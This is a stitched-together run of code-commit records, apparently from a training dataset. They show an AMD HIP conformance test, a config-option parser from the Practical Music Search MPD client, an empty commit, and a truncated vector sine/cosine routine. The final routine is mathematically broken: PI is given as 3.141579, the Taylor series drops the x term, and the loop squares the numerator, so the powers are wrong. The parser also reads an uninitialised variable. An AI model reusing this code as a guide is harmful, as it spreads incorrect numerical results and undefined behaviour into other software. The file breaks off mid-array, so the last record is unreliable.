2015-2017 Advanced Micro Devices, Inc. All rights reserved.\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANNTY OF ANY KIND, EXPRESS OR\nIMPLIED, INNCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANNY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER INN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR INN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n\/*\n * Conformance test for checking functionality of\n * hipError_t hipGetDevice(int *device);\n *\/\n\n\/* HIT_START\n * BUILD: %t %s ..\/..\/test_common.cpp\n * RUN: %t\n * HIT_END\n *\/\n\n#include \"test_common.h\"\n\nint main()\n{\n hipSetDevice(-1);\n if( hipPeekAtLastError() != hipSuccess)\n passed();\n}\n<commit_msg>identation change in hipPeekAtLastError<commit_after>\/*\nCopyright (c) 2015-2017 Advanced Micro Devices, Inc. All rights reserved.\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANNTY OF ANY KIND, EXPRESS OR\nIMPLIED, INNCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANNY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER INN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR INN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n\/*\n * Conformance test for checking functionality of\n * hipError_t hipGetDevice(int *device);\n *\/\n\n\/* HIT_START\n * BUILD: %t %s ..\/..\/test_common.cpp\n * RUN: %t\n * HIT_END\n *\/\n\n#include \"test_common.h\"\n\nint main()\n{\n hipSetDevice(-1);\n if(hipPeekAtLastError() != hipSuccess)\n passed();\n}\n<|endoftext|>"} {"text":"<commit_before>\/* vi:set ts=8 sts=8 sw=8:\n *\n * Practical Music Search\n * Copyright (c) 2006-2011 Kim Tore Jensen\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#include \"config.h\"\n#include \"field.h\"\n#include \"console.h\"\n#include \"song.h\"\n#include \"window.h\"\n#include \"topbar.h\"\n#include <stdlib.h>\n#include <algorithm>\n\nusing namespace std;\n\nextern Fieldtypes fieldtypes;\nextern Windowmanager wm;\nTopbar topbar;\n\nConfig::Config()\n{\n\tsetup_default_connection_info();\n\n\tquit = false;\n\treconnect_delay = 5;\n\tuse_bell = true;\n\tvisual_bell = false;\n\tshow_column_headers = true;\n\tshow_window_title = true;\n\ttopbar_height = 1;\n\tadd_next_interval = 5;\n\tautoadvance = true;\n\tstatus_reset_interval = 3;\n\trandom = false;\n\trepeat = false;\n\tconsume = false;\n\tsingle = false;\n\tset_column_headers(\"artist track title album year length\");\n\ttopbar.set(\"{PMS $state [$modes] $elapsed \/ $length}{$artist \/ $title \/ $album \/ $year}{Queue has $queuesize songs ($queuelength)}\");\n\n\t\/* Set up options array *\/\n\tadd_option(\"host\", OPTION_TYPE_STRING, (void *)&host);\n\tadd_option(\"port\", OPTION_TYPE_STRING, (void *)&port);\n\tadd_option(\"password\", OPTION_TYPE_STRING, (void *)&password);\n\n\tadd_option(\"reconnectdelay\", OPTION_TYPE_UINT, (void *)&reconnect_delay);\n\tadd_option(\"addnextinterval\", OPTION_TYPE_UINT, (void *)&add_next_interval);\n\n\tadd_option(\"bell\", OPTION_TYPE_BOOL, (void *)&use_bell);\n\tadd_option(\"visualbell\", OPTION_TYPE_BOOL, (void *)&visual_bell);\n\tadd_option(\"columnheaders\", OPTION_TYPE_BOOL, (void *)&show_column_headers);\n\tadd_option(\"windowtitle\", OPTION_TYPE_BOOL, (void *)&show_window_title);\n\tadd_option(\"autoadvance\", OPTION_TYPE_BOOL, (void *)&autoadvance);\n\tadd_option(\"resetstatus\", OPTION_TYPE_UINT, (void *)&status_reset_interval);\n\n\tadd_option(\"random\", OPTION_TYPE_BOOL, (void *)&random);\n\tadd_option(\"repeat\", OPTION_TYPE_BOOL, (void *)&repeat);\n\tadd_option(\"consume\", OPTION_TYPE_BOOL, (void *)&consume);\n\tadd_option(\"single\", OPTION_TYPE_BOOL, (void *)&single);\n\n\tadd_option(\"columns\", OPTION_TYPE_COLUMNHEADERS, (void *)&songlist_columns);\n\tadd_option(\"topbar\", OPTION_TYPE_TOPBAR, (void *)&topbar);\n\tadd_option(\"topbarlines\", OPTION_TYPE_UINT, (void *)&topbar_height);\n}\n\nint Config::readline(string line)\n{\n\tstring optstr;\n\tstring optval = \"\";\n\toption_t * opt;\n\tsize_t pos;\n\tbool invert = false;\n\tbool show = false;\n\tbool negative = false;\n\tbool * bopt;\n\tint result;\n\n\t\/* Locate the identifier *\/\n\tif (line.size() == 0)\n\t{\n\t\treturn print_all_options();\n\t}\n\telse if ((pos = line.find('=')) != string::npos)\n\t{\n\t\toptstr = line.substr(0, pos);\n\t\tif (line.size() > pos + 1)\n\t\t\toptval = line.substr(pos + 1);\n\t}\n\telse\n\t{\n\t\toptstr = line;\n\t}\n\n\t\/* Invert or return value? *\/\n\tswitch(optstr[optstr.size()-1] )\n\t{\n\t\tcase '?':\n\t\t\tshow = true;\n\t\t\toptstr = optstr.substr(0, optstr.size() - 1);\n\t\t\tbreak;\n\t\tcase '!':\n\t\t\tinvert = true;\n\t\t\toptstr = optstr.substr(0, optstr.size() - 1);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\n\t\/* Return the option struct if this is a valid option *\/\n\tif ((opt = get_opt_ptr(optstr)) == NULL)\n\t{\n\t\t\/* Check if this is a negative boolean (no<option>) *\/\n\t\tif (optstr.size() > 2 && optstr.substr(0, 2) == \"no\" && ((opt = get_opt_ptr(optstr.substr(2))) != NULL) && opt->type == OPTION_TYPE_BOOL)\n\t\t{\n\t\t\tnegative = !invert;\n\t\t\toptstr = optstr.substr(2);\n\t\t}\n\t\t\/* Check if this is an invertion (inv<option>) *\/\n\t\telse if (optstr.size() > 3 && optstr.substr(0, 3) == \"inv\" && ((opt = get_opt_ptr(optstr.substr(3))) != NULL) && opt->type == OPTION_TYPE_BOOL)\n\t\t{\n\t\t\tinvert = true;\n\t\t\toptstr = optstr.substr(3);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tsterr(\"Unknown option: %s\", line.c_str());\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t\/* Print the option to statusbar *\/\n\tif (show)\n\t{\n\t\tprint_option(opt);\n\t\treturn true;\n\t}\n\n\t\/* Invert an option if boolean *\/\n\tif (invert)\n\t{\n\t\tif (opt->type != OPTION_TYPE_BOOL)\n\t\t{\n\t\t\tstinfo(\"%s=%s\", optstr.c_str(), get_opt_str(opt).c_str());\n\t\t\tsterr(\"Trailing characters: %s\", line.c_str());\n\t\t\treturn false;\n\t\t}\n\t\tbopt = (bool *)opt->ptr;\n\t\t*bopt = !(*bopt);\n\t\tprint_option(opt);\n\t\treturn true;\n\t}\n\n\t\/* Check for (negative) boolean options *\/\n\tif (optval.size() == 0 && pos == string::npos)\n\t{\n\t\t\/* Show option instead *\/\n\t\tif (opt->type != OPTION_TYPE_BOOL)\n\t\t{\n\t\t\tprint_option(opt);\n\t\t\treturn true;\n\t\t}\n\t\tbopt = (bool *)opt->ptr;\n\t\t*bopt = !negative;\n\t\tprint_option(opt);\n\t\treturn true;\n\t}\n\n\t\/* Set the new string value *\/\n\tresult = set_opt_str(opt, optval);\n\tif (result)\n\t\tprint_option(opt);\n\n\treturn result;\n}\n\noption_t * Config::add_option(string name, option_type_t type, void * ptr)\n{\n\toption_t * o = new option_t;\n\to->name = name;\n\to->type = type;\n\to->ptr = ptr;\n\toptions.push_back(o);\n\treturn o;\n}\n\nstring Config::get_opt_str(option_t * opt)\n{\n\tvector<Field *>::const_iterator field_it;\n\n\tstring str = \"\";\n\tunsigned int * ui;\n\tint * i;\n\tbool * b;\n\n\tif (opt == NULL)\n\t\treturn str;\n\n\tswitch(opt->type)\n\t{\n\t\tcase OPTION_TYPE_STRING:\n\t\t\tstr = (*(string *)opt->ptr);\n\t\t\tbreak;\n\n\t\tcase OPTION_TYPE_BOOL:\n\t\t\tb = (bool *)opt->ptr;\n\t\t\tstr = !(*b) ? \"no\" : \"\";\n\t\t\tstr += opt->name;\n\t\t\tbreak;\n\n\t\tcase OPTION_TYPE_UINT:\n\t\t\tui = (unsigned int *)opt->ptr;\n\t\t\tstr = tostring(*ui);\n\t\t\tbreak;\n\n\t\tcase OPTION_TYPE_INT:\n\t\t\ti = (int *)opt->ptr;\n\t\t\tstr = tostring(*i);\n\t\t\tbreak;\n\n\t\t\/* Exotic data types *\/\n\n\t\tcase OPTION_TYPE_COLUMNHEADERS:\n\t\t\tfor (field_it = songlist_columns.begin(); field_it != songlist_columns.end(); ++field_it)\n\t\t\t\tstr = str + (*field_it)->str + \" \";\n\t\t\tstr = str.substr(0, str.size() - 1);\n\t\t\tbreak;\n\n\t\tcase OPTION_TYPE_TOPBAR:\n\t\t\tstr = topbar.cached_format;\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tstr = \"<unknown>\";\n\t\t\tbreak;\n\t}\n\n\treturn str;\n}\n\nint Config::set_opt_str(option_t * opt, string value)\n{\n\tstring * s;\n\tint * i;\n\tunsigned int * ui;\n\n\tif (opt == NULL)\n\t\treturn false;\n\n\tswitch(opt->type)\n\t{\n\t\tcase OPTION_TYPE_STRING:\n\t\t\ts = (string *)opt->ptr;\n\t\t\t*s = value;\n\t\t\treturn true;\n\n\t\tcase OPTION_TYPE_INT:\n\t\t\ti = (int *)opt->ptr;\n\t\t\t*i = atoi(value.c_str());\n\t\t\treturn true;\n\n\t\tcase OPTION_TYPE_UINT:\n\t\t\tui = (unsigned int *)opt->ptr;\n\t\t\t*ui = atoi(value.c_str());\n\t\t\treturn true;\n\n\t\tcase OPTION_TYPE_COLUMNHEADERS:\n\t\t\tset_column_headers(value);\n\t\t\twm.update_column_length();\n\t\t\treturn true;\n\n\t\tcase OPTION_TYPE_TOPBAR:\n\t\t\ttopbar.set(value);\n\t\t\tif (topbar.lines[0].size() > topbar_height)\n\t\t\t{\n\t\t\t\ttopbar_height = topbar.lines[0].size();\n\t\t\t\tprint_option(get_opt_ptr(\"topbarlines\"));\n\t\t\t}\n\t\t\treturn true;\n\n\t\tdefault:\n\t\t\treturn false;\n\t}\n\n\treturn false;\n}\n\noption_t * Config::get_opt_ptr(string opt)\n{\n\tvector<option_t *>::const_iterator i;\n\n\tfor (i = options.begin(); i != options.end(); ++i)\n\t\tif ((*i)->name == opt)\n\t\t\treturn *i;\n\t\n\treturn NULL;\n}\n\nunsigned int Config::grep_opt(string opt, vector<option_t *> * list, string * prefix)\n{\n\tvector<option_t *>::const_iterator i;\n\n\tif (!list) return 0;\n\tlist->clear();\n\n\t\/* Check for \"no...\" and \"inv...\" options, which also needs to be tab-completed. *\/\n\tif (opt.size() >= 2 && opt.substr(0, 2) == \"no\")\n\t\t*prefix = \"no\";\n\telse if (opt.size() >= 3 && opt.substr(0, 3) == \"inv\")\n\t\t*prefix = \"inv\";\n\telse\n\t\tprefix->clear();\n\n\tif (prefix->size() > 0)\n\t{\n\t\tif (opt.size() == prefix->size())\n\t\t\topt.clear();\n\t\telse\n\t\t\topt = opt.substr(prefix->size());\n\t}\n\n\tfor (i = options.begin(); i != options.end(); i++)\n\t{\n\t\tif (opt.size() > (*i)->name.size())\n\t\t\tcontinue;\n\n\t\tif (opt == (*i)->name.substr(0, opt.size()))\n\t\t{\n\t\t\tif (prefix->size() == 0 || (*i)->type == OPTION_TYPE_BOOL\n\t\t\t\t|| ((*i)->name.size() > prefix->size() && (*i)->name.substr(0, prefix->size()) == *prefix))\n\t\t\t\tlist->push_back(*i);\n\t\t}\n\t}\n\n\treturn list->size();\n}\n\nvoid Config::print_option(option_t * opt)\n{\n\tif (opt == NULL)\n\t\treturn;\n\telse if (opt->type == OPTION_TYPE_BOOL)\n\t\tstinfo(\" %s\", get_opt_str(opt).c_str());\n\telse\n\t\tstinfo(\" %s=%s\", opt->name.c_str(), get_opt_str(opt).c_str());\n}\n\nint Config::print_all_options()\n{\n\tvector<option_t *>::const_iterator i;\n\n\tdebug(\"--- Options ---\", NULL);\n\n\tfor (i = options.begin(); i != options.end(); ++i)\n\t\tprint_option(*i);\n\n\treturn true;\n}\n\nvoid Config::set_column_headers(string hdr)\n{\n\tsize_t start = 0;\n\tsize_t pos;\n\tstring f;\n\tField * field;\n\n\tsonglist_columns.clear();\n\n\twhile (start + 1 < hdr.size())\n\t{\n\t\tif (pos == string::npos)\n\t\t\tbreak;\n\n\t\tif ((pos = hdr.find(' ', start)) != string::npos)\n\t\t\tf = hdr.substr(start, pos - start);\n\t\telse\n\t\t\tf = hdr.substr(start);\n\n\t\tif ((field = fieldtypes.find(f)) != NULL && field->type < FIELD_COLUMN_VALUES)\n\t\t\tsonglist_columns.push_back(field);\n\t\telse\n\t\t\tsterr(\"Ignoring invalid header field '%s'.\", f.c_str());\n\n\t\tstart = pos + 1;\n\t}\n\n\tif (songlist_columns.size() == 0)\n\t{\n\t\tf = \"title\";\n\t\tsterr(\"Warning: at least one column type needs to be specified, falling back to `%s'.\", f.c_str());\n\t\tsonglist_columns.push_back(fieldtypes.find(f));\n\t}\n}\n\nvoid Config::setup_default_connection_info()\n{\n\tchar *\tenv;\n\tsize_t\ti;\n\n\tpassword = \"\";\n\n\tif ((env = getenv(\"MPD_HOST\")) == NULL)\n\t{\n\t\thost = \"localhost\";\n\t}\n\telse\n\t{\n\t\thost = env;\n\t\tif ((i = host.rfind('@')) != string::npos)\n\t\t{\n\t\t\tpassword = host.substr(0, i);\n\t\t\thost = host.substr(i + 1);\n\t\t}\n\t}\n\n\tif ((env = getenv(\"MPD_PORT\")) == NULL)\n\t\tport = \"6600\";\n\telse\n\t\tport = env;\n}\n<commit_msg>Options can be set with set opt=val and set opt:val.<commit_after>\/* vi:set ts=8 sts=8 sw=8:\n *\n * Practical Music Search\n * Copyright (c) 2006-2011 Kim Tore Jensen\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#include \"config.h\"\n#include \"field.h\"\n#include \"console.h\"\n#include \"song.h\"\n#include \"window.h\"\n#include \"topbar.h\"\n#include <stdlib.h>\n#include <algorithm>\n\nusing namespace std;\n\nextern Fieldtypes fieldtypes;\nextern Windowmanager wm;\nTopbar topbar;\n\nConfig::Config()\n{\n\tsetup_default_connection_info();\n\n\tquit = false;\n\treconnect_delay = 5;\n\tuse_bell = true;\n\tvisual_bell = false;\n\tshow_column_headers = true;\n\tshow_window_title = true;\n\ttopbar_height = 1;\n\tadd_next_interval = 5;\n\tautoadvance = true;\n\tstatus_reset_interval = 3;\n\trandom = false;\n\trepeat = false;\n\tconsume = false;\n\tsingle = false;\n\tset_column_headers(\"artist track title album year length\");\n\ttopbar.set(\"{PMS $state [$modes] $elapsed \/ $length}{$artist \/ $title \/ $album \/ $year}{Queue has $queuesize songs ($queuelength)}\");\n\n\t\/* Set up options array *\/\n\tadd_option(\"host\", OPTION_TYPE_STRING, (void *)&host);\n\tadd_option(\"port\", OPTION_TYPE_STRING, (void *)&port);\n\tadd_option(\"password\", OPTION_TYPE_STRING, (void *)&password);\n\n\tadd_option(\"reconnectdelay\", OPTION_TYPE_UINT, (void *)&reconnect_delay);\n\tadd_option(\"addnextinterval\", OPTION_TYPE_UINT, (void *)&add_next_interval);\n\n\tadd_option(\"bell\", OPTION_TYPE_BOOL, (void *)&use_bell);\n\tadd_option(\"visualbell\", OPTION_TYPE_BOOL, (void *)&visual_bell);\n\tadd_option(\"columnheaders\", OPTION_TYPE_BOOL, (void *)&show_column_headers);\n\tadd_option(\"windowtitle\", OPTION_TYPE_BOOL, (void *)&show_window_title);\n\tadd_option(\"autoadvance\", OPTION_TYPE_BOOL, (void *)&autoadvance);\n\tadd_option(\"resetstatus\", OPTION_TYPE_UINT, (void *)&status_reset_interval);\n\n\tadd_option(\"random\", OPTION_TYPE_BOOL, (void *)&random);\n\tadd_option(\"repeat\", OPTION_TYPE_BOOL, (void *)&repeat);\n\tadd_option(\"consume\", OPTION_TYPE_BOOL, (void *)&consume);\n\tadd_option(\"single\", OPTION_TYPE_BOOL, (void *)&single);\n\n\tadd_option(\"columns\", OPTION_TYPE_COLUMNHEADERS, (void *)&songlist_columns);\n\tadd_option(\"topbar\", OPTION_TYPE_TOPBAR, (void *)&topbar);\n\tadd_option(\"topbarlines\", OPTION_TYPE_UINT, (void *)&topbar_height);\n}\n\nint Config::readline(string line)\n{\n\tstring optstr;\n\tstring optval = \"\";\n\toption_t * opt;\n\tsize_t pos;\n\tbool invert = false;\n\tbool show = false;\n\tbool negative = false;\n\tbool * bopt;\n\tint result;\n\n\t\/* Locate the identifier *\/\n\tif (line.size() == 0)\n\t{\n\t\treturn print_all_options();\n\t}\n\telse if ((pos = line.find_first_of(\"=:\")) != string::npos)\n\t{\n\t\toptstr = line.substr(0, pos);\n\t\tif (line.size() > pos + 1)\n\t\t\toptval = line.substr(pos + 1);\n\t}\n\telse\n\t{\n\t\toptstr = line;\n\t}\n\n\t\/* Invert or return value? *\/\n\tswitch(optstr[optstr.size()-1] )\n\t{\n\t\tcase '?':\n\t\t\tshow = true;\n\t\t\toptstr = optstr.substr(0, optstr.size() - 1);\n\t\t\tbreak;\n\t\tcase '!':\n\t\t\tinvert = true;\n\t\t\toptstr = optstr.substr(0, optstr.size() - 1);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\n\t\/* Return the option struct if this is a valid option *\/\n\tif ((opt = get_opt_ptr(optstr)) == NULL)\n\t{\n\t\t\/* Check if this is a negative boolean (no<option>) *\/\n\t\tif (optstr.size() > 2 && optstr.substr(0, 2) == \"no\" && ((opt = get_opt_ptr(optstr.substr(2))) != NULL) && opt->type == OPTION_TYPE_BOOL)\n\t\t{\n\t\t\tnegative = !invert;\n\t\t\toptstr = optstr.substr(2);\n\t\t}\n\t\t\/* Check if this is an invertion (inv<option>) *\/\n\t\telse if (optstr.size() > 3 && optstr.substr(0, 3) == \"inv\" && ((opt = get_opt_ptr(optstr.substr(3))) != NULL) && opt->type == OPTION_TYPE_BOOL)\n\t\t{\n\t\t\tinvert = true;\n\t\t\toptstr = optstr.substr(3);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tsterr(\"Unknown option: %s\", line.c_str());\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t\/* Print the option to statusbar *\/\n\tif (show)\n\t{\n\t\tprint_option(opt);\n\t\treturn true;\n\t}\n\n\t\/* Invert an option if boolean *\/\n\tif (invert)\n\t{\n\t\tif (opt->type != OPTION_TYPE_BOOL)\n\t\t{\n\t\t\tstinfo(\"%s=%s\", optstr.c_str(), get_opt_str(opt).c_str());\n\t\t\tsterr(\"Trailing characters: %s\", line.c_str());\n\t\t\treturn false;\n\t\t}\n\t\tbopt = (bool *)opt->ptr;\n\t\t*bopt = !(*bopt);\n\t\tprint_option(opt);\n\t\treturn true;\n\t}\n\n\t\/* Check for (negative) boolean options *\/\n\tif (optval.size() == 0 && pos == string::npos)\n\t{\n\t\t\/* Show option instead *\/\n\t\tif (opt->type != OPTION_TYPE_BOOL)\n\t\t{\n\t\t\tprint_option(opt);\n\t\t\treturn true;\n\t\t}\n\t\tbopt = (bool *)opt->ptr;\n\t\t*bopt = !negative;\n\t\tprint_option(opt);\n\t\treturn true;\n\t}\n\n\t\/* Set the new string value *\/\n\tresult = set_opt_str(opt, optval);\n\tif (result)\n\t\tprint_option(opt);\n\n\treturn result;\n}\n\noption_t * Config::add_option(string name, option_type_t type, void * ptr)\n{\n\toption_t * o = new option_t;\n\to->name = name;\n\to->type = type;\n\to->ptr = ptr;\n\toptions.push_back(o);\n\treturn o;\n}\n\nstring Config::get_opt_str(option_t * opt)\n{\n\tvector<Field *>::const_iterator field_it;\n\n\tstring str = \"\";\n\tunsigned int * ui;\n\tint * i;\n\tbool * b;\n\n\tif (opt == NULL)\n\t\treturn str;\n\n\tswitch(opt->type)\n\t{\n\t\tcase OPTION_TYPE_STRING:\n\t\t\tstr = (*(string *)opt->ptr);\n\t\t\tbreak;\n\n\t\tcase OPTION_TYPE_BOOL:\n\t\t\tb = (bool *)opt->ptr;\n\t\t\tstr = !(*b) ? \"no\" : \"\";\n\t\t\tstr += opt->name;\n\t\t\tbreak;\n\n\t\tcase OPTION_TYPE_UINT:\n\t\t\tui = (unsigned int *)opt->ptr;\n\t\t\tstr = tostring(*ui);\n\t\t\tbreak;\n\n\t\tcase OPTION_TYPE_INT:\n\t\t\ti = (int *)opt->ptr;\n\t\t\tstr = tostring(*i);\n\t\t\tbreak;\n\n\t\t\/* Exotic data types *\/\n\n\t\tcase OPTION_TYPE_COLUMNHEADERS:\n\t\t\tfor (field_it = songlist_columns.begin(); field_it != songlist_columns.end(); ++field_it)\n\t\t\t\tstr = str + (*field_it)->str + \" \";\n\t\t\tstr = str.substr(0, str.size() - 1);\n\t\t\tbreak;\n\n\t\tcase OPTION_TYPE_TOPBAR:\n\t\t\tstr = topbar.cached_format;\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tstr = \"<unknown>\";\n\t\t\tbreak;\n\t}\n\n\treturn str;\n}\n\nint Config::set_opt_str(option_t * opt, string value)\n{\n\tstring * s;\n\tint * i;\n\tunsigned int * ui;\n\n\tif (opt == NULL)\n\t\treturn false;\n\n\tswitch(opt->type)\n\t{\n\t\tcase OPTION_TYPE_STRING:\n\t\t\ts = (string *)opt->ptr;\n\t\t\t*s = value;\n\t\t\treturn true;\n\n\t\tcase OPTION_TYPE_INT:\n\t\t\ti = (int *)opt->ptr;\n\t\t\t*i = atoi(value.c_str());\n\t\t\treturn true;\n\n\t\tcase OPTION_TYPE_UINT:\n\t\t\tui = (unsigned int *)opt->ptr;\n\t\t\t*ui = atoi(value.c_str());\n\t\t\treturn true;\n\n\t\tcase OPTION_TYPE_COLUMNHEADERS:\n\t\t\tset_column_headers(value);\n\t\t\twm.update_column_length();\n\t\t\treturn true;\n\n\t\tcase OPTION_TYPE_TOPBAR:\n\t\t\ttopbar.set(value);\n\t\t\tif (topbar.lines[0].size() > topbar_height)\n\t\t\t{\n\t\t\t\ttopbar_height = topbar.lines[0].size();\n\t\t\t\tprint_option(get_opt_ptr(\"topbarlines\"));\n\t\t\t}\n\t\t\treturn true;\n\n\t\tdefault:\n\t\t\treturn false;\n\t}\n\n\treturn false;\n}\n\noption_t * Config::get_opt_ptr(string opt)\n{\n\tvector<option_t *>::const_iterator i;\n\n\tfor (i = options.begin(); i != options.end(); ++i)\n\t\tif ((*i)->name == opt)\n\t\t\treturn *i;\n\t\n\treturn NULL;\n}\n\nunsigned int Config::grep_opt(string opt, vector<option_t *> * list, string * prefix)\n{\n\tvector<option_t *>::const_iterator i;\n\n\tif (!list) return 0;\n\tlist->clear();\n\n\t\/* Check for \"no...\" and \"inv...\" options, which also needs to be tab-completed. *\/\n\tif (opt.size() >= 2 && opt.substr(0, 2) == \"no\")\n\t\t*prefix = \"no\";\n\telse if (opt.size() >= 3 && opt.substr(0, 3) == \"inv\")\n\t\t*prefix = \"inv\";\n\telse\n\t\tprefix->clear();\n\n\tif (prefix->size() > 0)\n\t{\n\t\tif (opt.size() == prefix->size())\n\t\t\topt.clear();\n\t\telse\n\t\t\topt = opt.substr(prefix->size());\n\t}\n\n\tfor (i = options.begin(); i != options.end(); i++)\n\t{\n\t\tif (opt.size() > (*i)->name.size())\n\t\t\tcontinue;\n\n\t\tif (opt == (*i)->name.substr(0, opt.size()))\n\t\t{\n\t\t\tif (prefix->size() == 0 || (*i)->type == OPTION_TYPE_BOOL\n\t\t\t\t|| ((*i)->name.size() > prefix->size() && (*i)->name.substr(0, prefix->size()) == *prefix))\n\t\t\t\tlist->push_back(*i);\n\t\t}\n\t}\n\n\treturn list->size();\n}\n\nvoid Config::print_option(option_t * opt)\n{\n\tif (opt == NULL)\n\t\treturn;\n\telse if (opt->type == OPTION_TYPE_BOOL)\n\t\tstinfo(\" %s\", get_opt_str(opt).c_str());\n\telse\n\t\tstinfo(\" %s=%s\", opt->name.c_str(), get_opt_str(opt).c_str());\n}\n\nint Config::print_all_options()\n{\n\tvector<option_t *>::const_iterator i;\n\n\tdebug(\"--- Options ---\", NULL);\n\n\tfor (i = options.begin(); i != options.end(); ++i)\n\t\tprint_option(*i);\n\n\treturn true;\n}\n\nvoid Config::set_column_headers(string hdr)\n{\n\tsize_t start = 0;\n\tsize_t pos;\n\tstring f;\n\tField * field;\n\n\tsonglist_columns.clear();\n\n\twhile (start + 1 < hdr.size())\n\t{\n\t\tif (pos == string::npos)\n\t\t\tbreak;\n\n\t\tif ((pos = hdr.find(' ', start)) != string::npos)\n\t\t\tf = hdr.substr(start, pos - start);\n\t\telse\n\t\t\tf = hdr.substr(start);\n\n\t\tif ((field = fieldtypes.find(f)) != NULL && field->type < FIELD_COLUMN_VALUES)\n\t\t\tsonglist_columns.push_back(field);\n\t\telse\n\t\t\tsterr(\"Ignoring invalid header field '%s'.\", f.c_str());\n\n\t\tstart = pos + 1;\n\t}\n\n\tif (songlist_columns.size() == 0)\n\t{\n\t\tf = \"title\";\n\t\tsterr(\"Warning: at least one column type needs to be specified, falling back to `%s'.\", f.c_str());\n\t\tsonglist_columns.push_back(fieldtypes.find(f));\n\t}\n}\n\nvoid Config::setup_default_connection_info()\n{\n\tchar *\tenv;\n\tsize_t\ti;\n\n\tpassword = \"\";\n\n\tif ((env = getenv(\"MPD_HOST\")) == NULL)\n\t{\n\t\thost = \"localhost\";\n\t}\n\telse\n\t{\n\t\thost = env;\n\t\tif ((i = host.rfind('@')) != string::npos)\n\t\t{\n\t\t\tpassword = host.substr(0, i);\n\t\t\thost = host.substr(i + 1);\n\t\t}\n\t}\n\n\tif ((env = getenv(\"MPD_PORT\")) == NULL)\n\t\tport = \"6600\";\n\telse\n\t\tport = env;\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>pre-select name filter in import\/export file dialog<commit_after><|endoftext|>"} {"text":"<commit_before>\ntypedef float vec16f __attribute__((__vector_size__(16 * sizeof(int))));\ntypedef int vec16i __attribute__((__vector_size__(16 * sizeof(int))));\n\n#define PI 3.141579\n\nvec16f fmodv(vec16f val1, vec16f val2)\n{\n\tvec16f multiple = __builtin_vp_vitof(__builtin_vp_vftoi(val1 \/ val2));\n\treturn val1 - (multiple * val2);\n}\n\n\/\/\n\/\/ Use taylor series to approximate sine\n\/\/ x**3\/3! + x**5\/5! - x**7\/7! ...\n\/\/\n\n#define NUM_TERMS 4\n\nfloat denominators[] = { \n\t0.166666666666667f, \t\/\/ 1 \/ 3!\n\t0.008333333333333f,\t\t\/\/ 1 \/ 5!\n\t0.000198412698413f,\t\t\/\/ 1 \/ 7!\n\t0.000002755731922f\t\t\/\/ 1 \/ 9!\n};\n\nvec16f sinev(vec16f angle)\n{\n\t\/\/ Works better if angle is smaller\n\tangle = fmodv(angle, __builtin_vp_makevectorf(PI));\n\n\tvec16f numerator = angle * angle * angle;\n\tvec16f result = numerator * __builtin_vp_makevectorf(denominators[0]);\n\t\n\tfor (int i = 1; i < NUM_TERMS; i++)\n\t{\n\t\tnumerator *= numerator;\t\t\n\t\tnumerator *= numerator;\t\t\n\t\tvec16f term = numerator * __builtin_vp_makevectorf(denominators[i]);\n\t\tif (i & 1)\n\t\t\tresult += term;\n\t\telse\n\t\t\tresult -= term;\n\t}\n\t\n\treturn result;\n}\n\nvec16f cosv(vec16f angle)\n{\n\treturn sinev(angle + __builtin_vp_makevectorf(PI * 0.5f));\n}\n\nvec16i* const kFrameBufferAddress = (vec16i*) 0x10000000;\nconst vec16i kXOffsets = { 0, 1, 2, 3, 4, 5, 